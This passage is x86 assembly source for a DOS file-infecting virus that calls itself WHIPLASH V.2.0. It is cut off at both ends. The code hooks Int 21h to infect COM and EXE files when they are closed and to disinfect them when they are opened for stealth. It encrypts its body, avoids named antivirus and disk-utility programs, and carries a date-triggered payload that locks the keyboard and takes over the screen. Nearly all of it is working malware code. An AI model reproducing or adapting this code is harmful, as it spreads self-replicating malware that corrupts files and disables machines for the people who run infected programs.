       Mov ah, Byte Ptr es:[si]      ; same thing: take / put
       Mov Byte Ptr cs:[di], ah
       Inc si
       Inc di
       Loop LOOP_2
OVER2:
       Mov Byte Ptr cs:[di],0        ; and add a final 0 to make it ASCIIZ

       Pop     ds es di si           ; restore 'em
       Popa

       Push cs                       ; now make DS:DX point to
       Pop ds                        ; the filename
       Lea dx, File
       Call CHECKFILE                ; checkit ;)
       Jc CLOSING_INFECTION_ERROR

       Pop ds es di si               ; restore 'em
       Popa
       Call INFECT_CLOSING           ; call the infection procedure
       Jmp INT21ORIG                 ; good bye, baby...

CLOSING_INFECTION_ERROR:
       Pop ds es di si               ; restore 'em
       Popa
       Jmp INT21ORIG                 ; good bye, baby...

;.---------------------------------------------------------------------------.
;|     In this area I handle the file openings                               |
;`---------------------------------------------------------------------------'

;
; Handles opened files via Int 21h / 6Ch
;
OPEN_FILE_EXTENDED:
       Pusha
       Push ds es di si bp

       Push si                  ; simply put SI into DX as in 6Ch the
       Mov dx, si               ; filename is pointed by DS:SI (why ???)
       Call CHECKNAME           ; check if it's EXE or COM
       Jnc NO_EXECUTABLE1
       Call CHECK_IF_EXIST      ; does the file really exists ?
                                ; (I need this because if file does  not
                                ;  exist but it's created by 6Ch an error
                                ;  pops up)
       Jnc NO_FILE

       Call DISINFECT           ; disinfect it before open !

NO_EXECUTABLE1:
NO_FILE:
       Pop si bp si di es ds
       Popa
       Jmp INT21ORIG            ; go away !

;
; Handles opened files via Int 21h / 3Dh
;
OPEN_FILE_HANDLER:
       Pusha
       Push ds es di si bp

       Call CHECKNAME           ; this is classical: check it
       Jnc NO_EXECUTABLE

       Call DISINFECT           ; and disinfect it

NO_EXECUTABLE:
       Pop bp si di es ds
       Popa
       Jmp INT21ORIG            ; and then allow open

;
; Disinfects file at DS:DX (not already oppened !!)
;\
DISINFECT:
       Pusha
       Push es ds si di bp

; The next line are useful only if the disinfection on open is ON. As under
; W95 hooking 3Dh hangs the system, that feature is not available, making the
; checking for archiver redundant. If you set 3Dh ON then remove the colons
; before the next 2 lines.

;       Call CHECKARCHIVER         ; is the running process an archiver ?
;       Jc FINITO2                 ; if so, don't disinfect

       Call SET_INT24             ; as I'll be reading/writing I need to
                                  ; set the Errors handler

       Mov ax, 3D02h              ; open the file
       Call DOS_INT_21
       Jc _ERROR
       Mov bx, ax                 ; and save file handler

       Push bx                             ; save file handler
       Mov ax,1220h                        ; get job file table!
       Int 2Fh                             ; call multiplex
                                           ; es:di=JFT for handler
       Mov ax,1216h                        ; get system file table
       Mov bl,Byte Ptr es:[di]             ; bl=SFT entry
       Int 2Fh                             ; call multiplex
       Pop bx                              ; restore file handler
       Push bx

       Add di, 02h                         ; set file for
       Mov Word Ptr es:[di], 0002          ; read/write

       Add di, 02h                         ; reset file attributes
       Mov Byte Ptr es:[di], 0
       Sub di, 04h

       Mov ax, 5700h                       ; get date/time
       Int 21h

       Call CHECK_STAMP
       Jc NOT_NECESSARY

       Mov ax, 4200h                       ; move pointer to beginning of file
       Call MOV_PTR
       Mov ah, 3Fh                         ; and read from file
       Push cs
       Pop ds
       Lea dx,cs:[Compare_buf]             ; into the compare buffer
       Mov cx, 46h                         ; 46h bytes
       Call DOS_INT_21

       Cmp Word Ptr cs:[Compare_buf],5A4Dh  ; check if EXE
       Je DISINFECT_EXE                     ; and do so...
       Cmp Word Ptr cs:[Compare_buf],4D5Ah  ;
       Je DISINFECT_EXE                     ;

DISINFECT_COM:
       Mov ah, Byte Ptr cs:[Compare_buf+3]  ; look if file is really infected
       Cmp ah, 'V'                          ; or it was only a coincidence
       Jne NOT_NECESSARY                    ; we don't want to disinfect
                                            ; uninfected files ;-)

       Mov ax, 4202h                        ; move pointer to end of file
       Call MOV_PTR

       Sub ax, ENDING - START               ; calculate virus position
       Mov dx, ax
       Mov cx, 0

       Mov ax, 4200h                        ; and move pointer
       Int 21h                              ; to the virus start

       Mov ah, 3Fh                 ; read the virus at the end of CS + 50
       Push cs
       Pop ds
       Lea dx, cs:[ENDING]
       Add dx, 50
       Mov cx, ENDING - START
       Call DOS_INT_21

       Call DECRYPT_ENCRYPT       ; decrypt the virus there

       Mov di, Offset ENDING      ; make DI point to the `olddate' at
       Add di, Offset Olddate     ; the end of my code
       Add di, 50                 ; +50 (cose I want so - Tribute to NRLG)
       Sub di, 100h               ; -100h to align

       Mov dx, Word Ptr cs:[di]   ; take seconds
       Add di, 2
       Mov cx, Word Ptr cs:[di]   ; and day

       push cx
       push dx

       Mov di, Offset ENDING      ; now go into the buffer there
       Add di, Offset Buffer
       Sub di, 100h
       Add di, 50

       Mov ax, 4200                     ; go to beginning of file
       Call MOV_PTR

       Mov cx, 6                        ; write back the
       Push cs                          ; first 3 words
       Pop ds                           ; I ripped
       Mov dx, di
       Mov ah, 40h
       Int 21h

       Mov ax, 4202h                    ; now move to end of host
       Call MOV_PTR

       Sub ax, ENDING - START           ; again move to virus location
       Mov dx, ax
       Mov cx, 0                        ;

       Mov ax, 4200h
       Int 21h

       Mov ah, 40h                      ; and truncate host
       Mov cx, 0                        ; CX=0 -> truncate file at pointer
       Int 21h                          ; (virus is now gone!)

       pop dx
       pop cx
       mov ax, 5701h
       int 21h

       Jmp FINITO                       ; over here !

DISINFECT_EXE:
       Mov ah, Byte Ptr cs:[Compare_buf+1Ch]    ; go to the 1Ch byte
       Cmp ah, 'V'                              ; to see if file is really
       Jne NOT_NECESSARY                        ; infected

       Cmp Word Ptr cs:[Compare_buf+44h], 'NE'  ; if it's a NewExe,
       Je NOT_NECESSARY                         ; just go away !
       Cmp Word Ptr cs:[Compare_buf+44h], 'EN'
       Je NOT_NECESSARY

       Mov ax, 4202h                            ; and the things go now
       Call MOV_PTR                             ; just like for the COMs

       Sub ax, ENDING - START
       Mov cx, dx
       Mov dx, ax

       Mov ax, 4200h
       Int 21h

       Mov ah, 3Fh                 ; read the virus at the end of CS
       Push cs
       Pop ds
       Lea dx, cs:[ENDING]
       Add dx, 50
       Mov cx, ENDING - START
       Call DOS_INT_21

       Call DECRYPT_ENCRYPT       ; again, decrypt the virus

       Mov di, Offset ENDING
       Add di, Offset Olddate
       Add di, 50
       Sub di, 100h

       Mov dx, Word Ptr cs:[di]
       Add di, 2
       Mov cx, Word Ptr cs:[di]

       push cx
       push dx

       Mov di, Offset ENDING
       Add di, Offset Buffer
       Sub di, 100h
       Add di, 50

       Mov ax, 4200                     ; go to beginning of file
       Call MOV_PTR

       Mov cx, 20h                      ; write back the
       Push cs                          ; first 20h bytes
       Pop ds
       Mov dx, di
       Mov ah, 40h
       Int 21h
       Jc _ERROR

       Mov ax, 4202h                    ; now move to end of host
       Call MOV_PTR

       Sub ax, ENDING - START
       Mov cx, dx
       Mov dx, ax

       Mov ax, 4200h
       Int 21h

       Mov ah, 40h                      ; and truncate host
       Mov cx, 0                        ; (eliminates virus)
       Int 21h

       pop dx
       pop cx
       Mov ax, 5701h
       Int 21h

       jmp finito

_ERROR:
NOT_NECESSARY:
FINITO:
       Pop bx                           ; restore file handler
       Mov ah, 3Eh                      ; and close the file
       Call DOS_INT_21

       Call RESTORE_INT24               ; restore errors handler now

FINITO2:
       Pop bp di si ds es
       Popa
       Ret                              ; and return

;
; Infects file with handle in BX (already oppened !!)
;
INFECT_CLOSING:
       Pusha                    ; I save the regs...
       Push es ds si di bp      ; nottice that file attributes are
                                ; already normal... check out up above
                                ; I set them to normal thru SFT's

       Mov Word Ptr cs:[Handle], bx   ; save handle

       Call SET_INT24           ; take care of 'Abort, Retry, Fail'

       Mov ax, 4200h            ; move pointer to beginning of file
       Call MOV_PTR
       Jc ERROR

       Mov ah, 3Fh              ; read from file
       Mov cx, 46h              ; the header = 46h
       Push cs
       Pop ds
       Lea dx, cs:[Buffer]
       Call DOS_INT_21          ; call Bios Int 21h
       Jc ERROR

       Mov ax, 5700h            ; save olddate and time
       Int 21h

       Mov Word Ptr cs:[Olddate], dx
       Mov Word Ptr cs:[Oldtime], cx
       Mov Word Ptr cs:[Date], dx
       Mov Word Ptr cs:[Time], cx

       Call CHECK_STAMP
       Jnc ALREADY_DONE

       Cmp Word Ptr cs:[Buffer], 5A4Dh      ; is it an EXE file ?
       Je INFECT_EXE
       Cmp Word Ptr cs:[Buffer], 4D5Ah      ; is it an EXE file ?
       Je INFECT_EXE

INFECT_COM:                                 ; The Com infector
       Push cs
       Pop ds

       Mov ax, 4202h            ; go to end of file
       Call MOV_PTR             ; DX:AX = file length
       Jc ERROR

;       cmp ax, 0FFFFh-virlen    ; is there enough room for virus ?
;       jg error
;       cmp ax, 1000h            ; is file bigger then 4096 bytes ?
;       jl error

       Sub ax, 3                           ; calculate length of COM host
       Add ax, (Offset TRICKY_ENTRY - Offset START) ; tricky entry point
       Mov Word Ptr cs:[Hostlen], ax

       Mov ax,4200h        ;move the pointer
       Call MOV_PTR        ;to start of file
       Jc ERROR

       Mov ah,40h          ;
       Mov cx,1            ; write the JMP
       Lea dx,cs:[Jump]    ; instruction in the
       Call DOS_INT_21     ; fist byte of the file
       Jc ERROR

       Mov ah,40h          ; write the value of jmp
       Mov cx,2            ; in the file = length of host - 3 + entry len
       Lea dx,cs:[Hostlen] ; as saved in hostlen variable
       Call DOS_INT_21
       Jc ERROR
       Mov ah, 'V'                     ; infection marker
       Mov Byte Ptr cs:[Address], ah   ; mark as infected
       Mov ah, 40h                     ; now write it to file
       Mov cx, 2
       Lea dx, cs:[Address]
       Call DOS_INT_21
       Jc ERROR

       Mov ax, 4202h                   ; prepare to write virus
       Call MOV_PTR
       Jc ERROR

       Pushf                ; now I have to save the registers on
       Pusha                ; the stack because I'll
       Push bp di si es ds  ; destroy them

       Call MOVEVIRUS       ; move virus to end of cs
       Call DECRYPT_ENCRYPT ; and encrypt it

       Pop ds es si di bp   ; now restore the registers
       Popa
       Popf               ; and the flags

       Call WRITEVIRUS    ; call the routine to write the virus to file
       Jc ERROR           ; error... it happens!

       Mov dx, Word Ptr cs:[Date]
       Mov cx, Word Ptr cs:[Time]

       Call MARK_STAMP
       Jc ERROR

       Jmp STOPIT                  ; we are over !

INFECT_EXE:                                 ; The EXE infector

       Cmp Word Ptr cs:[Buffer+12h], 'V'    ; check if infected ?
       Je ALREADY_DONE                      ; already infected !
       Cmp Word Ptr cs:[Buffer+1Ah], 1      ; check if
       Je ERROR                             ; exe has overlays (which is
                                            ; bad, BTW)
       Cmp Word Ptr cs:[Buffer+44h],'EN'    ; can't handle New Exes now
       Je ERROR
       Cmp Word Ptr cs:[Buffer+44h],'NE'    ; can't handle New Exes now
       Je ERROR

       Mov ax, 4202h                        ; move pointer to end of file
       Call MOV_PTR

       Mov Word Ptr cs:[Filesize  ], ax     ; save filesize from DX:AX
       Mov Word Ptr cs:[Filesize+2], dx     ; into `filesize'

;       cmp ax, 2000h                        ; is host > 2000h bytes ?
;       jl error

       Les ax, Dword Ptr [Buffer+14h]       ; Save old entry point
       Mov Word Ptr [Jmpsave], ax           ; in `jmpsave2'
       Mov Word Ptr [Jmpsave+2], es

       Les ax, Dword Ptr [Buffer+0Eh]       ; Save old stack
       Mov Word Ptr [Stacksave],es          ; in `stacksave2'
       Mov Word Ptr [Stacksave+2], ax

       Pushf                ; now I have to save the registers on
       Pusha                ; the stack because I'll
       Push bp di si es ds  ; destroy them

       Call MOVEVIRUS       ; move virus to end of cs to encrypt
       Call DECRYPT_ENCRYPT ; and encrypt it

       Pop ds es si di bp   ; now restore the registers
       Popa
       Popf                 ; and the flags

       Pushf                ; now I have to save the registers on
       Pusha                ; the stack because I'll
       Push bp di si es ds  ; destroy them

       Mov ax, 4202h
       Call MOV_PTR
       Mov bx, Word Ptr cs:[Handle]
       Call WRITEVIRUS          ;call the routine to write the virus to file
       Jc ERROR

       Pop ds es si di bp       ;now restore the registers
       Popa
       Popf                     ;and the flags

       Mov ax, Word Ptr cs:[Filesize  ]   ; restore filesize in DX:AX
       Mov dx, Word Ptr cs:[Filesize+2]

       Mov bx, Word Ptr cs:[Buffer+08h]   ; get header size,
       Mov  cl, 4                         ; convert it to bytes
       Shl  bx, cl

       Sub ax, bx                          ; substract header size
       Sbb dx, 0                           ; from filesize

       Call DIV_16                         ; convert to seg:offs
                                           ; div by 16

       add dx, (offset tricky_entry - start) ; tricky entry
       Mov Word Ptr [Buffer+14h], dx      ; New entry point
       Mov Word Ptr [Buffer+16h], ax

       Mov  Word Ptr [Buffer+0Eh], ax      ; and stack (same segment)
       Add dx, (ENDING-START)+100h         ; SP = IP + virus_size + 256
       Mov ax, dx                          ; now I look and see if...
       Shr ax, 1                           ;  (this is ax / 2)
       Shl ax, 1                           ;  (this is ax * 2)
       Cmp ax, dx                          ; ...I got an odd SP
       Je OK_1
       Inc dx                              ; if so, just add 1
OK_1:
       Mov  Word Ptr [Buffer+10h], dx      ; New SP

       Mov ax, Word Ptr cs:[Filesize  ]    ; restore filesize in DX:AX
       Mov dx, Word Ptr cs:[Filesize+2]    ;

       Add  ax, ENDING-START               ; add virus size
       Adc  dx, 0                          ; propagate carry

       Mov  cl, 9                          ; 2^9 = 512
       Push ax                             ; make filesize in pages
       Shr ax, cl
       Ror dx, cl
       Stc
       Adc dx, ax                          ; filesize in pages
       Pop ax
       And ah, 1                           ; mod 512

       Mov Word Ptr [Buffer+4h], dx        ; new file size
       Mov Word Ptr [Buffer+2h], ax

;now I correct a possible error given by a MINMEM > MAXMEM

       Add Word Ptr cs:[Buffer+0Ah],(ENDING-START)/16+1 ;min para
       Mov ax,Word Ptr cs:[Buffer+0Ah]                  ;ax=min para needed
       Cmp ax,Word Ptr cs:[Buffer+0Ch]                  ;cmp with max para
       Jb SIZE_OK                                       ;it's ok!
       Mov Word Ptr cs:[Buffer+0Ch], ax                 ;nope, enter new max
SIZE_OK:
       Mov Byte Ptr cs:[Buffer+1Ch], 'V'                ;mark as infected

       Mov ax, 4200h                   ; move pointer to beginning of file
       Mov bx, Word Ptr cs:[Handle]    ; restore lost handle
       Call MOV_PTR

       Mov     ah,40h                  ; Write NEW EXE Header back
       Mov     dx,Offset ds:[Buffer]   ; to EXE File !
       Mov     cx,20h                  ; Now the virus is at CS:IP
       Call DOS_INT_21
       Jc ERROR

       Mov dx, Word Ptr cs:[Date]
       Mov cx, Word Ptr cs:[Time]

       Call MARK_STAMP
       Jc ERROR

       Jmp STOPIT

An_error        Db      0               ; error flag

ERROR:
        Mov Byte Ptr cs:[An_error], 1   ; sets error flag
        Jmp STOPIT

NOERROR:
        Mov Byte Ptr cs:[An_error], 0   ; clear error flag

ALREADY_DONE:
STOPIT:                                 ; we are over
       Mov Byte Ptr cs:[An_error], 0    ; clear error flag
       Call RESTORE_INT24               ; restore errors handler

       Pop bp di si ds es
       Popa
       Ret                              ; and return

;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-;
;  HERE STARTS THE PART WITH GENERAL USE ROUTINES                            ;
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-;

;----------------------------------------------------------------------------;
; This procedure gets the name of the running process                        ;
;----------------------------------------------------------------------------;
GETNAME:
       Mov ah, 62h                      ; get PSP of the running program
       Call DOS_INT_21

       Mov ds, bx                       ; ES = PSP

       Mov ax, Word Ptr ds:[2Ch]
       Mov ds, ax                       ; DS = DOS Environment string Segment

       Mov si, 0                        ; start locating filename
JUMP1:
       Mov ah, Byte Ptr ds:[si]
       Cmp ah, 0                        ; first I look for a 0
       Jne NOWAY
       Mov al, Byte Ptr ds:[si+1]       ; if I find it
       Cmp al, 0                        ; I check for another 0
       Je YEP                           ; if it's here, I got it !
NOWAY:
       Inc si
       Jne JUMP1

YEP:
       Inc si
       Inc si                        ; start taking out filename
       Cmp Word Ptr ds:[si], 0001h   ; check if I'm OK (0001h is classical)
       Jne ERROR1                    ; ...something's rotten
       Inc si
       Inc si

       Push cs
       Pop es
       Mov di, Offset Endfile        ; now I start taking the filename into
       Mov cx, 128                   ; `endfile' address. (max. 128 chars)
JUMP2:
       Mov ah, Byte Ptr ds:[si]      ; and take a byte...
       Cmp ah, 0                     ; check if it's over
       Je NOMORELOOP
       Mov es:[di], ah               ; and put a byte
       Inc di
       Inc si
       Loop JUMP2

NOMORELOOP:
       Mov Byte Ptr es:[di], 0      ; put the last 0 just to be sure !
       Push cs                      ; now I make DS:DX point to the
       Pop ds                       ; ASCIIZ string `endfile'
       Mov dx, Offset Endfile
       Clc                          ; and clear Carry as all is OK !
       Ret
ERROR1:
       Stc                              ; set carry for error
Ret

;
; Copies the virus to end of file from my CS + 50
;
WRITEVIRUS:
       Mov ah,40h                          ;
       Mov cx,Offset ENDING - Offset START ; copy the virus
       Mov dx,Offset ENDING + 50           ; to end of file from cs + 50
       Call DOS_INT_21
       Ret

;
; Save and set the Dos Error Handler (Int 24)
;
SET_INT24:
       Cli
       Pusha
       Push ds
       Push es
       Push cs                    ; get DS=CS
       Pop ds                     ;
       Mov ax,3524h               ; get the dos error control
       Int 21h                    ; interrupt
       Mov Word Ptr Errorh,es     ; and put it in cs:error
       Mov Word Ptr Errorh+2,bx   ;
       Mov ax,2524h               ; change the dos error control
       Mov dx,Offset INT24        ; so I don't get 'Abort, Retry, Ignore'
       Int 21h                    ;
       Pop es
       Pop ds
       Popa
       Sti
       Ret

;
; Restore the Dos Error Handler (Int 24)
;
RESTORE_INT24:
       Cli
       Pusha
       Push ds
       Mov ax,2524h                    ;
       Lea bx,Errorh                   ; restore the
       Mov ds,bx                       ; errors handler
       Lea bx,Errorh+2                 ;
       Int 21h                         ;
       Pop ds
       Popa
       Sti
       Ret

;
; Move the pointer in the file
;
MOV_PTR:
       Xor cx, cx
       Xor dx, dx
       Int 21h
       Ret

;
; Int 24 handler
;
INT24:
     Xor al, al
     Iret

;
; Moving the virus to end of cs + 50
;
MOVEVIRUS:
       Push cs                     ;
       Pop ds                      ; move the code
       Push cs                     ; of my virus
       Pop es                      ; to the end of my memory + 50
       Cld                         ;
       Mov si,100h                 ;
       Mov di,Offset ENDING + 50      ; so that I can encrypt it down there
       Mov cx,Offset ENDING - 100h    ;
       Rep Movsb                      ;
       Ret

;
; Checks if file at DS:DX really exists
;
CHECK_IF_EXIST:
     Pusha
     Mov ax, 3D02h                    ; try to open file at DS:DX
     Call DOS_INT_21
     Jc FILE_DOES_NOT_EXIST           ; if CF is set there was an error

FILE_EXISTS:
     Mov bx, ax                       ; if no error encountered then
     Mov ah, 3Eh                      ; close file
     Call DOS_INT_21
     Stc                              ; and exit with Carry Set
     Popa
     Ret

FILE_DOES_NOT_EXIST:
     Clc                              ; else exit with carry cleared (error)
     Popa
     Ret

;
; This is the file checkers area
;
TABLE1:                   ; this is the table with program names
       Db 7,'COMMAND'     ; I don't want to infect
       Db 8,'DSOLOMON'
       Db 3,'AVP'
       Db 7,'VSHIELD'
       Db 7,'VIRSTOP'
       Db 2,'TB'
       Db 2,'F-'
       Db 4,'SCAN'
       Db 5,'CLEAN'
       Db 3,'RAV'
       Db 3,'AVX'
       Db 5,'VSAFE'
       Db 0

TABLE2:                   ; this is the table with archiving utilities'
      Db 3,'RAR'          ; names
      Db 3,'ARJ'
      Db 5,'PKZIP'
      Db 2,'UC'
      Db 3,'LHA'
      Db 8,'UUENCODE'
      Db 6,'PKLITE'
      Db 4,'DIET'
      Db 8,'TINYPROG'
      Db 8,'COMPRESS'
      Db 3,'AIN'
      Db 0

TABLE3:                   ; this is the table with the disk utilities
      Db 8,'SCANDISK'
      Db 6,'CHKDSK'
      Db 8,'SPEEDISK'
      Db 2,'SD'
      Db 6,'DEFRAG'
      Db 3,'NDD'
      Db 8,'DISKEDIT'
      Db 0

Flag  Db 0                          ; marks what table to use

CHECKFILE:
       Mov Flag, 1
       Jmp START_CHECK
CHECKARCHIVER:
       Mov Flag, 2
       push ds dx
       call getname
       Jmp START_CHECK
CHECKDISKUTIL:
       Mov Flag, 3
       push ds dx
       call getname

START_CHECK:
       Pusha                        ; save registers to be lost
       Push ds es di si

       Push cs
       Pop es
       Call UPPERCASE               ; convert string at DS:DX to uppercase
       Mov si, dx                   ; SI=DX
       Mov cx, 128                  ; CX=max file name
AG1:
       Cmp Byte Ptr ds:[si],'.'     ; did I reach the '.' in filename ?
       Je DONE                      ; yeah!
       Cmp Byte Ptr ds:[si],0       ; or maybe a 0
       Je DONE                      ; yeah!
       Inc si                       ; otherwise
       Loop AG1                     ; LOOP!

       Dec si                       ; now dec SI to point to the last
       Mov cx, 128                  ; character in the filename
DONE:
       Cmp Byte Ptr ds:[si], '\'    ; and start looking for '\'
       Je DONE2
       Cmp si, dx                   ; or for the begining
       Je DONE3
       Dec si
       Loop DONE

DONE2:
       Inc si                       ; if I am at '\', add 1
DONE3:
       Xor cx, cx                   ; and all the stuff above made my SI
       Push si                      ; point to the first character of the
                                    ; filename (I push SI to preserve addr.)
       Cmp Flag, 1                  ; now make DI point to the proper table
       Jne NOTTABLE1
       Mov di, Offset TABLE1
       Jmp REPEAT1
NOTTABLE1:
       Cmp Flag, 2
       Jne NOTTABLE2
       Mov di, Offset TABLE2
       Jmp REPEAT1
NOTTABLE2:
       Mov di, Offset TABLE3

REPEAT1:
       Mov cl, Byte Ptr cs:[di]     ; CL = length of string to compare to
       Inc di                       ; jump over that
       Rep Cmpsb                    ; and comp. str. at SI with the one at DI
       Je DONE4
       Pop si                       ; SI = filename again
       Push si                      ; PUSH to preserve
       Add di, cx                   ; DI = DI + remainder after compare
       Cmp Byte Ptr cs:[di],0       ; is it the end ?
       Je DONE5                     ; yeah !
       Jmp REPEAT1                  ; no ! repeat, please!
DONE4:
       Stc                          ; set carry to mark that the filename
       Jmp DONE6                    ; contains suspicious characters
DONE5:
       Clc                          ; or clear it if it's ok!
DONE6:
       Pop si si di es ds
       Popa
       cmp flag, 1
       je done7
       pop dx ds
done7:
       Ret                          ; and return


;
; Procedure to divide by 16 without any overflow errors
;
DIV_16:
    Push cx bx ax              ; this procedure divides dword at DX:AX
    And ax, 0000Fh             ; by 16 using only shifting so no
    Mov bx, ax                 ; Divide Overflow will pop up
    Pop ax
    Mov cl, 04h
    Shr ax, cl
    Mov cl, 0Ch
    Shl dx, cl
    Or ax, dx
    Mov dx, bx
    Pop bx cx
    Ret

;
; Checks if file at DS:DX is EXE or COM
;
CHECKNAME:
       Push cx
       Push si
       Call UPPERCASE
       Mov si, dx                      ; si points to name
       Mov cx, 128                     ; maximum 128 bytes
CHECKAGAIN:
       Cmp Byte Ptr ds:[si], 0         ; check until 0 is reached
       Je ALLRIGHT                     ; I'm there...
       Inc si
       Loop CHECKAGAIN
ALLRIGHT:
       Pop cx
       Sub si, 3                      ; make it point to the begining of ext.

       Cmp Word Ptr ds:[si], 'XE'     ; is it `EXE' ?
       Jne EX1
       Cmp Byte Ptr ds:[si+2], 'E'
       Jne EX1
       Jmp GOOD_FILE                  ; YEAH !
EX1:   Cmp Word Ptr ds:[si], 'OC'     ; If not, maybe `COM'
       Jne EX4
       Cmp Byte Ptr ds:[si+2], 'M'
       Jne EX4
       Jmp GOOD_FILE                  ; Sure, baby !

GOOD_FILE:
       Stc                            ; set carry for good file
       Jmp BYE

EX4:
       Clc                            ; clear carry for bad file
BYE:
       Pop si
       Ret                            ; wooh ! get back !

;
; The Random Number Generator
;
Rand_seed       Dw      0
RANDOMIZE:                             ; procedure to start the
       Push    cx dx                   ; random generator
       Xor     ah,ah                   ; get timer count
       Int     1Ah
       Mov     cs:[bp + Rand_seed],dx  ; and save it
       Xchg    ch,cl
       Add     cs:[bp + Rand_seed_2],cx
       Pop     dx cx
       Ret
;-----------------------------------------------------------------------------
_RANDOM:                               ; the random number generator
       In      al,40h                  ; timer, for random nr
       Sub     ax,cs:[bp + Rand_seed]
Db     35h                             ; XOR AX,
Rand_seed_2     Dw      0              ; what is here
       Inc     ax
       Add     cs:[bp + Rand_seed],ax  ; change seed
       Ret

;
; Routine to UpperCase string at DS:DX
;
UPPERCASE:
       Pusha
       Push ds es di si

       Mov ax, ds               ; make source      = DS:SI = DS:DX
       Mov es, ax               ; make destination = ES:DI = DS:DX
       Mov si, dx
       Mov di, dx
       Mov ax, 1211h            ; and call the multiplex interrupt
       Int 2Fh                  ; to do it

       Pop si di es ds
       Popa
       Ret

;
; The Set Time Stamp routine (assumes CX = time, DX = date)
;
MARK_STAMP:
       Push dx
       Mov ax, dx
       And ax, 001Fh               ; ax = day
       And dx, 01E0h
       Shr dx, 5                   ; dx = month
       Add ax, dx
       Shr ax, 1                   ; ax = (day+month)/2
       And cx, 0FFE0h
       Or cx, ax                   ; and set seconds = ax
       Pop dx                      ; restore date
       Mov ax, 5701h               ; and set them !
       Int 21h                     ; (mark as infected)
       Ret

;
; The Check Time Stamp routine (assumes CX = time, DX = date)
;
CHECK_STAMP:
       Push ax
       Push bx
       Mov ax, dx
       Mov bx, dx
       And ax, 001Fh            ; ax = day
       And bx, 01E0h
       Shr bx, 5                ; bx = month
       Add ax, bx
       Shr ax, 1                ; ax = (day+month)/2
       Mov bx, cx
       And bx, 001Fh            ; bx = seconds
       Cmp bx, ax               ; seconds = (day+month)/2 ?
       Jne NO_STAMP
       Clc
       Jmp OVER_CHECK_STAMP
NO_STAMP:
       Stc
OVER_CHECK_STAMP:
       Pop bx
       Pop ax
       Ret

;
; The PAYLOAD
;
PAYLOAD:
      Pusha
      Push ds
      Push es

; This little thing here looks if someone tried to remove the patch above
; in the first lines

      mov ax, word ptr cs:[bp + offset pint]      ; AX = 0C72Eh
      lea bx, [bp + offset armour_patch - 0C72Eh] ; BX = armour_patch-0C72Eh
      add ax, bx                                  ; AX = armour_patch
      jo fool
      jmp ax                                      ; JMP armour_patch
fool:
      sub ax, 10

armour_patch:
      Mov ah, 2Ah               ; get day
      Int 21h

      Cmp dl, 7                 ; is day 7 ?
      Jne NO_PAYLOAD

      Mov ah, 2Ch               ; if it is then get hour
      Int 21h

      Cmp cl, 14                ; is it past 2 o'clock ?
      Jng NO_PAYLOAD

;then it's payload time:

      Jmp PRINTSTUFF

Pltext Db 0Ah, 0Dh
       Db 0Ah, 0Dh
       Db 0Ah, 0Dh
       Db 0Ah, 0Dh
       Db 0Ah, 0Dh
       Db 0Ah, 0Dh, ' Well, this just ain''t your lucky day !'
       Db 0Ah, 0Dh
       Db 0Ah, 0Dh, '  You are blessed with  WHIPLASH V.2.0.'
       Db 0Ah, 0Dh
       Db 0Ah, 0Dh, '         Beta  release Variant A'
       Db 0Ah, 0Dh
       Db 0Ah, 0Dh, '         written and compiled in'
       Db 0Ah, 0Dh
       Db 0Ah, 0Dh, '          Bucharest, Romania'
       Db 0Ah, 0Dh
       Db 0Ah, 0Dh, '           by Lord Julus (c)'
       Db 0Ah, 0Dh, '$'

PRINTSTUFF:

       Cli
       Xor ax, ax
       Mov ds, ax

       Lea ax, [bp + Offset INT1BH]    ; hook INT 09h (keyboard)
       Mov Word Ptr ds:[1Bh*4], ax     ; and  INT 1Bh (Ctrl-Break)
       Mov ax, cs                      ; so no one can stop this !
       Mov Word Ptr ds:[1Bh*4+2], ax

       Lea ax, [bp + Offset INT9]
       Mov Word Ptr ds:[09h*4], ax
       Mov ax, cs
       Mov Word Ptr ds:[09h*4+2], ax
       Sti

REDO_IT:
       Push cs
       Pop ds

       Mov ah, 00h                     ; set video mode to 40 x 25
       Mov al, 00h
       Int 10h

       Mov ah, 11h                     ; set character type
       Mov al, 01h
       Mov bl, 00h
       Int 10h

       Mov ah, 10h                     ; set border color to screen
       Mov al, 01h
       Mov bh, 07h
       Int 10h

       Push cs
       Pop ds
       Lea dx, [bp + Offset Pltext]    ; print message on screen
       Mov ah, 09h
       Int 21h

       Mov ah, 01h                     ; hide cursor
       Mov ch, 7
       Mov cl, 0
       Int 10h

ROTATEPAL:
       Inc bh
       Cmp bh, 15
       Jng NO_PR
       Mov bl, 1
NO_PR:
       Mov ah, 10h
       Mov al, 00h
       Mov bl, 07h
       Int 10h

       Call WAIT_RETRACE
       Jmp ROTATEPAL

WAIT_RETRACE:
       Mov dx,3DAh
W1:
       In al,dx
       And al,08h
       Jnz W1
W2:
       In al,dx
       And al,08h
       Jz W2
       Ret

INT1BH:
       Iret

INT9:
       Iret

NO_PAYLOAD:
       Pop es
       Pop ds
       Popa
       Ret

;
; The General Encryptor/Decryptor (very simple)
;
DECRYPT_ENCRYPT:
       Mov di, Offset ENDING                ; code to be encrypted/decrypted
       Add di, Offset STARTCODE             ; lies at ending + 50
       Add di, 50                           ; so align DI...
       Sub di, 100h
       Mov cx, (ENDCODE - STARTCODE)/2      ; length of code to process
       Mov ax, 10h

IAR1:
       Xor Word Ptr cs:[di], ax              ; xor a word
       Inc di
       Inc di
       Inc ax                                ; and increment key
       Loop IAR1
       Ret

pr:
       pusha
       push ds
       mov ah, 09h
       push cs
       pop ds
       int 21h
       pop ds
       popa
       ret

carrier:
       mov ah, 0eh
       mov al, 0ah
       int 10h
       mov ah, 0eh
       mov al, 0dh
       int 10h
       ret

ENDCODE:                                 ; this is the last encrypted line

;
; The Unencrypted part (Runtime Decryptor)
;

DECRYPT_PROC:
       Push bp
       Mov bp, sp
       Mov dx, ss:[bp+8]
       Xor dx, ax
       Mov Word Ptr cs:[di], dx
       Inc ax
       Inc di
       Inc di
       Pop bp
       Add sp, 8
       Dec cx
       Jcxz ENDDECRYPT
       Jmp _AGAIN
       Iret

DECRYPT_ME:

       Pusha
       Push ds

       Cli
       Xor ax, ax
       Mov ds, ax

       Mov ax, ds:[15h*4]
       Mov Word Ptr cs:[Oldint15], ax
       Mov ax, ds:[15h*4+2]
       Mov Word Ptr cs:[Oldint15+2], ax

       Mov ax, Offset DECRYPT_PROC
       Add ax, bp
